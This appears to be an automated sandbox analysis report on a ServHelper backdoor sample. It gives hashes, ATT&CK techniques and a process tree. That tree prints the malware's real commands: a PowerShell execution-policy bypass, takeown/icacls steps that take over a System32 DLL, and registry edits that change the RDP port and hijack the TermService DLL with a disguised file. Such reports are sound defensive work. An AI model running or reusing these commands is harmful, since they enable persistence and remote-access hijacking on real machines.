servhelper | 97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef

General

Target

97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef.exe
Size

4.3MB
MD5

8786f856af7d279d72cf6cac110e3e69
SHA1

52cfb091bbcd1ac44a5bee5dd25707b646a126dc
SHA256

97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef
SHA512

1fd4401394aed60ea4ebc81275d9e33c73e4f79a2ddb34777779d6ce2456c121a5d7a3bff17f744c248a003b1d93cb22552d5e5fbfde3dc740fa67fe8afc123b

Score

10^/10

servhelper backdoor discovery exploit persistence trojan

Malware Config

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

1920 icacls.exe
1548 takeown.exe
1716 icacls.exe
332 icacls.exe
1768 icacls.exe
700 icacls.exe
1228 icacls.exe
1252 icacls.exe
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

pid	process
1920	icacls.exe
1548	takeown.exe
1716	icacls.exe
332	icacls.exe
1768	icacls.exe
700	icacls.exe
1228	icacls.exe
1252	icacls.exe

Loads dropped DLL 6 IoCs

Processes:

97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef.exe

pid	process
1680	97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef.exe
1680	97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef.exe
1680	97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef.exe
1680	97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef.exe
1680	97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef.exe
1680	97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef.exe

Modifies file permissions 1 TTPs 8 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exe

pid process

1768 icacls.exe
700 icacls.exe
1228 icacls.exe
1252 icacls.exe
1920 icacls.exe
1548 takeown.exe
1716 icacls.exe
332 icacls.exe
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe

pid	process
1768	icacls.exe
700	icacls.exe
1228	icacls.exe
1252	icacls.exe
1920	icacls.exe
1548	takeown.exe
1716	icacls.exe
332	icacls.exe

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 3 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1724 timeout.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1736 reg.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe

pid process

1984 powershell.exe
1984 powershell.exe
1984 powershell.exe
1984 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeicacls.exe

description pid process

Token: SeDebugPrivilege 1984 powershell.exe
Token: SeRestorePrivilege 332 icacls.exe

pid	process
1724	timeout.exe

pid	process
1736	reg.exe

pid	process
1984	powershell.exe
1984	powershell.exe
1984	powershell.exe
1984	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeRestorePrivilege	332	icacls.exe

Suspicious use of WriteProcessMemory 43 IoCs

Processes:

97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef.execmd.exepowershell.exe

description	pid	process	target process
PID 1680 wrote to memory of 2016	1680	97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef.exe	cmd.exe
PID 1680 wrote to memory of 2016	1680	97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef.exe	cmd.exe
PID 1680 wrote to memory of 2016	1680	97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef.exe	cmd.exe
PID 1680 wrote to memory of 2016	1680	97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef.exe	cmd.exe
PID 2016 wrote to memory of 1724	2016	cmd.exe	timeout.exe
PID 2016 wrote to memory of 1724	2016	cmd.exe	timeout.exe
PID 2016 wrote to memory of 1724	2016	cmd.exe	timeout.exe
PID 2016 wrote to memory of 1984	2016	cmd.exe	powershell.exe
PID 2016 wrote to memory of 1984	2016	cmd.exe	powershell.exe
PID 2016 wrote to memory of 1984	2016	cmd.exe	powershell.exe
PID 1984 wrote to memory of 1548	1984	powershell.exe	takeown.exe
PID 1984 wrote to memory of 1548	1984	powershell.exe	takeown.exe
PID 1984 wrote to memory of 1548	1984	powershell.exe	takeown.exe
PID 1984 wrote to memory of 1716	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 1716	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 1716	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 332	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 332	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 332	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 1768	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 1768	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 1768	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 700	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 700	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 700	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 1228	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 1228	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 1228	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 1252	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 1252	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 1252	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 1920	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 1920	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 1920	1984	powershell.exe	icacls.exe
PID 1984 wrote to memory of 1900	1984	powershell.exe	reg.exe
PID 1984 wrote to memory of 1900	1984	powershell.exe	reg.exe
PID 1984 wrote to memory of 1900	1984	powershell.exe	reg.exe
PID 1984 wrote to memory of 1736	1984	powershell.exe	reg.exe
PID 1984 wrote to memory of 1736	1984	powershell.exe	reg.exe
PID 1984 wrote to memory of 1736	1984	powershell.exe	reg.exe
PID 1984 wrote to memory of 948	1984	powershell.exe	reg.exe
PID 1984 wrote to memory of 948	1984	powershell.exe	reg.exe
PID 1984 wrote to memory of 948	1984	powershell.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef.exe
"C:\Users\Admin\AppData\Local\Temp\97e2e89259634123c1b80cd93700be7436ecbb61f42c205c9e199bcb2798bdef.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1680

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout -t 15& powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\gerta.ps1
2⤵
- Suspicious use of WriteProcessMemory
PID:2016

C:\Windows\system32\timeout.exe
timeout -t 15
3⤵
- Delays execution with timeout.exe
PID:1724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\gerta.ps1
3⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1984

C:\Windows\system32\takeown.exe
"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1548

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1716

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:332

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1768

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:700

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1228

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1252

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1920

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
4⤵
PID:1900

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
4⤵
- Modifies registry key
PID:1736

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
4⤵
PID:948

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

File Permissions Modification

1

T1222

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Remote Desktop Protocol

1

T1076

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\gerta.ps1
Filesize
5.3MB

MD5
ba3470f3eb24a5ac1f94cf850ba299f0

SHA1
5c122ce2a7c3dd5be355e4c68fddde248c3642a0

SHA256
609fb89c303d7cdab7ad1a3059ec53f448354176f8c19ba7a4841ea4b2defb4b

SHA512
562f394717dffbd854c3d04569be2c57739f29a84ca152b3d413fa046679999f67fbba439c252fbac0121be6d11bda61f2a2d010461350b9e399d20669490918

Download Submit
C:\Windows\system32\rfxvmt.dll
Filesize
40KB

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\Users\Admin\AppData\Local\Temp\nst717A.tmp\System.dll
Filesize
11KB

MD5
fbe295e5a1acfbd0a6271898f885fe6a

SHA1
d6d205922e61635472efb13c2bb92c9ac6cb96da

SHA256
a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1

SHA512
2cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06

Download Submit
\Users\Admin\AppData\Local\Temp\nst717A.tmp\blowfish.dll
Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
\Users\Admin\AppData\Local\Temp\nst717A.tmp\blowfish.dll
Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
\Users\Admin\AppData\Local\Temp\nst717A.tmp\blowfish.dll
Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
\Users\Admin\AppData\Local\Temp\nst717A.tmp\blowfish.dll
Filesize
22KB

MD5
5afd4a9b7e69e7c6e312b2ce4040394a

SHA1
fbd07adb3f02f866dc3a327a86b0f319d4a94502

SHA256
053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

SHA512
f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

Download Submit
\Users\Admin\AppData\Local\Temp\nst717A.tmp\nsUnzip.dll
Filesize
146KB

MD5
77a26c23948070dc012bba65e7f390aa

SHA1
7e112775770f9b3b24e2a238b5f7c66f8802e5d8

SHA256
4e4e429ecf1c49119a21c817899f64152b03b41b036fc1d92aee335043364c43

SHA512
2e7ffa4ed5c97f555e1b0d6f55ffcfd53cd28302fc77d95fdaea89e0b6b42e67e366331e52358e78e8266d079cc2ca3ea4c909197fb38a5b4c8151c7678d0065

Download Submit
memory/332-72-0x0000000000000000-mapping.dmp

Download
memory/700-74-0x0000000000000000-mapping.dmp

Download
memory/948-80-0x0000000000000000-mapping.dmp

Download
memory/1228-75-0x0000000000000000-mapping.dmp

Download
memory/1252-76-0x0000000000000000-mapping.dmp

Download
memory/1548-69-0x0000000000000000-mapping.dmp

Download
memory/1680-54-0x0000000075C51000-0x0000000075C53000-memory.dmp

Filesize
8KB

Download
memory/1716-71-0x0000000000000000-mapping.dmp

Download
memory/1724-62-0x0000000000000000-mapping.dmp

Download
memory/1736-79-0x0000000000000000-mapping.dmp

Download
memory/1768-73-0x0000000000000000-mapping.dmp

Download
memory/1900-78-0x0000000000000000-mapping.dmp

Download
memory/1920-77-0x0000000000000000-mapping.dmp

Download
memory/1984-63-0x0000000000000000-mapping.dmp

Download
memory/1984-68-0x000000000277B000-0x000000000279A000-memory.dmp

Filesize
124KB

Download
memory/1984-65-0x000007FEF3DB0000-0x000007FEF490D000-memory.dmp

Filesize
11.4MB

Download
memory/1984-66-0x0000000002774000-0x0000000002777000-memory.dmp

Filesize
12KB

Download
memory/1984-64-0x000007FEFC3E1000-0x000007FEFC3E3000-memory.dmp

Filesize
8KB

Download
memory/2016-61-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads